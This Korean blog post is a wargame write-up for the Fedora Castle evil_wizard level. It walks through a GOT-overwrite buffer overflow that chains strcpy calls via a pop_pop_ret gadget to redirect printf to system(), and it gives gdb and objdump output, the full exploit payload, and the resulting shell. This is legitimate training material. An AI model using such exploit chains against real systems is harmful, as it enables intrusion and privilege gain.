2017. 11. 30. 21:15ㆍSystemHacking/Fedora Catle
GOT Overwriting을 사용하기 위해서는 pop_pop_ret 코드가 필요하다
해당 서버 버전에서는 pop_pop_ret 코드가 없어서 문제의 소스코드에 직접 입력 해두고 있다
1> RTL 의 주소가 0x00 으로 시작되어 한 개 이상의 함수를 호출 할 수 없다 & 인자를 사용하면 함수를 최대 두개 호출 할 수 있다
=> pop_pop_ret 를 사용하여 해결 / NULL 값을 입력할 수 없기 때문에 함수들의 PLT 주소를 이용한다
2> 호출함수 주소 변조
=> strcpy 이용
[ 형식 ]
char *strcpy(char *dest, const char *src);
payload : ( strcpy'plt + pop_pop_ret + dst + src + strcpy'plt + pop_pop_ret + dst + src ) * 2 + printf plt + "AAAA" + argv1
[ 소스코드 디버깅 ]
0x08048554 <main+0>: push ebp
0x08048555 <main+1>: mov ebp,esp
0x08048557 <main+3>: sub esp,0x118
0x0804855d <main+9>: and esp,0xfffffff0
....(생략)....
0x08048615 <main+193>: mov eax,DWORD PTR [ebp+12]
0x08048618 <main+196>: add eax,0x4
0x0804861b <main+199>: push DWORD PTR [eax]
0x0804861d <main+201>: lea eax,[ebp-264]
0x08048623 <main+207>: push eax
0x08048624 <main+208>: call 0x8048494 <_init+200> strcpy(buffer,argv[1])
....(생략)....
0x0804867f <main+299>: lea eax,[ebp-264]
0x08048685 <main+305>: push eax
0x08048686 <main+306>: push 0x8048784
0x0804868b <main+311>: call 0x8048424 <_init+88> printf
0x08048690 <main+316>: add esp,0x10
0x08048693 <main+319>: leave
0x08048694 <main+320>: ret
0x08048695 <main+321>: nop
0x08048696 <main+322>: nop
[ Stack ]
lenggth 4
saved_sfp 0xb8e6f7fe
buffer 256
dummy 8byte
saved ebp 0xb8e6f7fe
saved eip
* 라이브러리의 함수를 호출할 때에는 PLT를 이용하며, PLT를 사용할 때에는 GOT를 계산하는 과정이 있다
( 함수 호출 처음에만 GOT를 계산하고 이후에는 바로 호출할 수 있다 )
[ strcpy ]
(gdb) x/3i 0x8048494 <-- 함수 호출 시 사용한 주소
0x8048494 <_init+200>: jmp ds:0x80498a0 <--plt
0x804849a <_init+206>: push 0x50
0x804849f <_init+211>: jmp 0x80483e4 <_init+24>
(gdb) x/x 0x80498a0
0x80498a0 <_GLOBAL_OFFSET_TABLE_+52>: 0x0804849a <--got ( 실제 라이브러리에서의 위치 )
[ printf ]
(gdb) x/3i 0x8048424
0x8048424 <_init+88>: jmp ds:0x8049884 <-- plt
0x804842a <_init+94>: push 0x18
0x804842f <_init+99>: jmp 0x80483e4 <_init+24>
(gdb) x/x 0x8049884
0x8049884 <_GLOBAL_OFFSET_TABLE_+24>: 0x0804842a <-- got
printf 함수 호출 시 GOT( 0x08049884 )주소에 위치한 0x0804842a ( &printf ) 를 호출한다
하지만, &printf 대신에 0x08049884 주소에 &system()으로 변조하면 system함수가 실행될 것이다
[ 풀이 과정 ]
strcpy(0x08049884,"\xc0....\x00")
strcpy(0x08049885,"\x07....\x00")
strcpy(0x08049886,"\x75....\x00")
strcpy(0x08049887,"\x00")
[ &system ]
(gdb) p system
$2 = {<text variable, no debug info>} 0x7507c0 <system>
[ &pop_pop_ret ]
(gdb) disas pop_pop_ret
Dump of assembler code for function pop_pop_ret:
0x0804854c <pop_pop_ret+0>: push ebp
0x0804854d <pop_pop_ret+1>: mov ebp,esp
0x0804854f <pop_pop_ret+3>: pop eax
0x08048550 <pop_pop_ret+4>: pop eax
0x08048551 <pop_pop_ret+5>: ret
0x08048552 <pop_pop_ret+6>: leave
0x08048553 <pop_pop_ret+7>: ret
[ Stack ]
lenggth 4
saved_sfp 0xb8e6f7fe
buffer 256
dummy 8byte
saved ebp 0xb8e6f7fe
saved eip &strcpy ㅡ 1 : c0로 변조
pop_pop_ret
argv1
argv2
&strcpy ㅡ 2 : 07로 변조
pop_pop_ret
argv1
argv2
&strcpy ㅡ 3 : 75로 변조
pop_pop_ret
argv1
argv2
&strcpy ㅡ 4 : 00로 변조
pop_pop_ret
argv1
argv2
printf => system()함수 호출
AAAA
&/bin/sh => system()함수의 인자가 된다 ( ebp+8지점 )
[ 실행파일 덤프내에서 필요한 1byte문자값 찾기 ]
[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard.cp | grep c0 --color=auto
8048414 ff258098 04086810 000000e9 c0ffffff
0x8048420 <_init+84>: 0xc0 0xff 0xff 0xff
0x8048424 <_init+88>: 0xff 0x25 0x84 0x98
0x8048428 <_init+92>: 0x04 0x08 0x68 0x18
0x804842c <_init+96>: 0x00
[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard.cp | grep 07 --color=auto
8048148 03000000 0f000000 0d000000 0700
=> 0x8048154 <__libc_utmp_lock+125850732>: 0x07 0x00 0x00 0x00
[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard.cp | grep 75 --color=auto
80486f4 0000005b 81c37511 000
=> 0x80486f8 <__libc_csu_fini+12>: 0x81 0xc3 0x75 0x11
0x80486fc <__libc_csu_fini+16>: 0x00 0x00
\xc0 => 0x08048420
\x07 => 0x08048154
\x75 => 0x080486fa
\x00 => 0x80486fc
strcpy plt 0x08048494
printf plt 0x08048424
[hell_fire@Fedora_1stFloor tmp]$ ./find
"/bin/sh" is at 0x833603
printf /bin/sh
printf 호출 시 사용되는 GOT내부 위치 : 0x08049884 ~ 0x08049887
[ payload ]
[hell_fire@Fedora_1stFloor ~]$ ./evil_wizard "$(python -c 'print "A" * 268 + "\x94\x84\x04\x08" + "\x4f\x85\x04\x08" + "\x84\x98\x04\x08" + "\x20\x84\x04\x08" + "\x94\x84\x04\x08" + "\x4f\x85\x04\x08" + "\x85\x98\x04\x08" + "\x54\x81\x04\x08" + "\x94\x84\x04\x08" + "\x4f\x85\x04\x08" + "\x86\x98\x04\x08" + "\xfa\x86\x04\x08" + "\x94\x84\x04\x08" + "\x4f\x85\x04\x08" + "\x87\x98\x04\x08" + "\xfc\x86\x04\x08" + "\x24\x84\x04\x08" + "AAAA" + "\x03\x36\x83\x00"')"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒O▒ ▒O▒T▒O▒▒O▒$AAAA6▒
sh-3.00$ id
uid=504(evil_wizard) gid=504(evil_wizard) groups=503(hell_fire) context=user_u:system_r:unconfined_t
sh-3.00$ my-pass
euid = 504
get down like that
'SystemHacking > Fedora Catle' 카테고리의 다른 글
FC3 ALL CLREAR (0) | 2017.12.13 |
---|---|
[5] evil_wizard -> dark_stone ( GOT Overwriting & Remote BOF ) (0) | 2017.12.01 |
[3] dark_eyes -> hell_fire ( Fake EBP & fgets Cache memory / mprotect) (0) | 2017.11.28 |
[2] iron_golem -> dark_eyes ( RET Sleding ) (0) | 2017.11.28 |
[1] gate -> iron_golem ( Fake EBP ) (0) | 2017.11.28 |